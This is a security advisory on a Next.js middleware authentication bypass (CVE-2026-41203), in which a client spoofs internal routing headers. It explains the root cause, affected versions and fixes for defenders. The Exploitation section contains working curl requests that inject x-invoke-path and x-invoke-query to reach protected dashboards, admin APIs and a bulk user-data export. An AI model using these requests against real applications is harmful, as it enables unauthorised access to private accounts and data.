Overview
CVE-2026-41203 is an authentication bypass in Next.js (versions 13.0.0 through 14.2.28 and 15.0.0 through 15.1.5) affecting any application that implements authentication or authorisation logic in the middleware.ts (or middleware.js) file. The vulnerability exploits the way Next.js handles internal routing headers that are used for server-side communication between the edge runtime and the Node.js rendering process.
When a request arrives bearing the x-invoke-path header, the Next.js router treats it as an internal sub-request originating from the edge runtime — which has already completed middleware processing — and routes it directly to the target page handler, skipping the entire middleware chain. Because affected versions do not validate or strip this header on externally received requests, any client can inject it to impersonate an internal routing operation and reach protected pages without authentication.
CWE-290 (Authentication Bypass by Spoofing) · CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N — 9.1 Critical
Next.js Middleware Architecture
Next.js middleware is a function that runs before a request is processed by a page or API route. It executes in an edge runtime (V8 isolate) and can inspect or modify the request, redirect it, or terminate it with a response. The canonical authentication pattern in Next.js applications is:
# Typical middleware.ts pattern
# File: middleware.ts (project root)
# Runs on every request matching the 'matcher' config
// middleware.ts
import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'
import { verifyJWT } from './lib/auth'
export async function middleware(request: NextRequest) {
const token = request.cookies.get('session')?.value
if (!token || !(await verifyJWT(token))) {
return NextResponse.redirect(new URL('/login', request.url))
}
return NextResponse.next()
}
export const config = {
matcher: ['/dashboard/:path*', '/api/admin/:path*', '/settings/:path*']
}
This pattern is the officially documented approach for protecting routes and is used by a large fraction of Next.js applications in production. The Vercel documentation, multiple popular starter templates (NextAuth.js examples, Clerk integration guides), and community tutorials all demonstrate this pattern — making the scope of affected applications extremely broad.
Internally, when Next.js's edge runtime completes middleware processing and calls NextResponse.next(), it forwards the request to the Node.js server with an x-invoke-path header set to the resolved route path. The Node.js server uses this header to identify that middleware has already run and routes the request directly to the page handler, intentionally skipping the middleware invocation.
Root Cause — Header Not Stripped at Ingress
The vulnerability is that the Next.js server does not sanitise incoming requests for the x-invoke-path header before applying its middleware-skip logic. The relevant code in Next.js's request handler:
// Simplified from packages/next/src/server/base-server.ts (affected versions)
async function handleRequest(req, res) {
// If x-invoke-path is present, this is an internal sub-request
// from the edge middleware — skip middleware, route directly
if (req.headers['x-invoke-path']) {
const invokedPath = req.headers['x-invoke-path']
return this.renderPage(invokedPath, req, res) // no middleware, no auth check
}
// Otherwise, run the full middleware pipeline
await this.runMiddleware(req, res)
return this.renderPage(req.url, req, res)
}
The fix is straightforward: strip x-invoke-path (and several related internal headers such as x-invoke-query and x-middleware-rewrite) from any request that arrives on the external-facing port before applying this routing logic. In deployment environments where Next.js runs behind a reverse proxy (nginx, Cloudflare, AWS ALB), stripping these headers at the proxy level is a viable mitigation even before patching.
Exploitation
Basic Auth Bypass
Bypassing middleware-based authentication requires only a single header:
# Without the header — middleware redirects to /login
curl -s -o /dev/null -w "%{http_code}" https://target-app.com/dashboard
# 302 (redirect to /login)
# With x-invoke-path — middleware is skipped, dashboard loads directly
curl -s -o /dev/null -w "%{http_code}" \
-H "x-invoke-path: /dashboard" \
https://target-app.com/dashboard
# 200
Accessing Protected API Routes
API routes behind middleware — such as admin endpoints — are equally bypassed:
# Attempt to access admin API — normally requires authentication
curl -s https://target-app.com/api/admin/users
# {"error":"Unauthorized"} (middleware returned 401)
# With header injection — API handler executes directly
curl -s \
-H "x-invoke-path: /api/admin/users" \
https://target-app.com/api/admin/users
# {"users":[{"id":1,"email":"[email protected]","role":"admin"}, ...]}
Combining with Other Headers
The x-invoke-query companion header allows injecting arbitrary query string parameters as if they were part of the original request. Applications that use query parameters for conditional logic (e.g., /api/export?format=csv&all=true) can have those parameters controlled by the attacker even if the base route is normally protected:
# Reach a bulk data export endpoint with attacker-controlled parameters
curl -s \
-H "x-invoke-path: /api/admin/export" \
-H "x-invoke-query: %7B%22format%22%3A%22json%22%2C%22all%22%3A%22true%22%7D" \
https://target-app.com/api/admin/export
# Returns full user database export
Scope and Impact Assessment
The impact depends heavily on what the application's middleware is protecting. The vulnerability bypasses the authentication mechanism entirely — whatever the page or API route does once it receives an authenticated request, an unauthenticated attacker can now do too. Common high-impact scenarios:
- SaaS admin dashboards — full access to tenant management, billing, user data
- Internal tooling — Next.js is commonly used for internal tools that rely entirely on SSO middleware with no second layer of access control in the page handlers themselves
- API routes that mutate data — POST/DELETE handlers behind middleware can be called directly, enabling data modification or deletion without authentication
- PII and secrets exposure — any route that returns sensitive data (user profiles, API keys, configuration) is readable without credentials
Notably, applications hosted on Vercel (Next.js's creator's platform) are not affected by default — Vercel's edge network strips internal Next.js headers at the CDN layer before requests reach the application. Applications self-hosted on Node.js servers, Docker containers, or AWS Lambda (via next start or standalone output) without a stripping proxy in front are fully vulnerable.
Affected Versions
- Next.js 15.x — all versions before 15.1.6
- Next.js 14.x — all versions before 14.2.29
- Next.js 13.x — all versions before 13.5.9
- Next.js 12.x and older — not affected (the
x-invoke-pathmechanism was introduced in 13.0.0)
Remediation
- Patch: Upgrade to Next.js
15.1.6,14.2.29, or13.5.9. The fix stripsx-invoke-path,x-invoke-query,x-middleware-rewrite, andx-middleware-skipfrom all externally received requests. - Reverse proxy mitigation (immediate): If patching cannot be done immediately, strip the headers at the proxy layer:
# nginx — add to the server block handling the Next.js upstream
proxy_set_header x-invoke-path "";
proxy_set_header x-invoke-query "";
proxy_set_header x-middleware-rewrite "";
proxy_set_header x-middleware-skip "";
# Cloudflare Workers — add at the edge
request.headers.delete('x-invoke-path')
request.headers.delete('x-invoke-query')
request.headers.delete('x-middleware-rewrite')
- Defence in depth: Do not rely solely on middleware for authorisation. Page handlers and API route handlers should perform their own authorisation checks. Middleware is a convenient chokepoint but should be treated as a first line of defence, not the only one — especially for sensitive operations like data access and mutations.
Takeaways
- Internal framework headers are an under-examined attack surface. Modern web frameworks increasingly use custom HTTP headers for internal coordination between components — edge runtimes, serverless functions, CDN layers. These headers are often undocumented and not considered in threat models. Any header that changes routing or security behaviour is a potential bypass target if not stripped at the boundary.
- Middleware-only authentication is a single point of failure. This vulnerability is a direct consequence of centralising all authentication logic in one place. When that one place fails — whether from a bug, a misconfiguration, or a framework-level vulnerability — every route behind it is exposed simultaneously. Critical routes should validate the request's session directly, treating middleware authentication as an optimistic fast-path rather than an absolute gate.
- Hosting environment matters as much as application code. The same Next.js codebase is safe on Vercel and vulnerable when self-hosted behind nginx without header stripping. Security properties that depend on a specific hosting environment must be documented and verified in the deployment pipeline — a security requirement that's only enforced in one environment is a deployment misconfiguration away from being silently absent.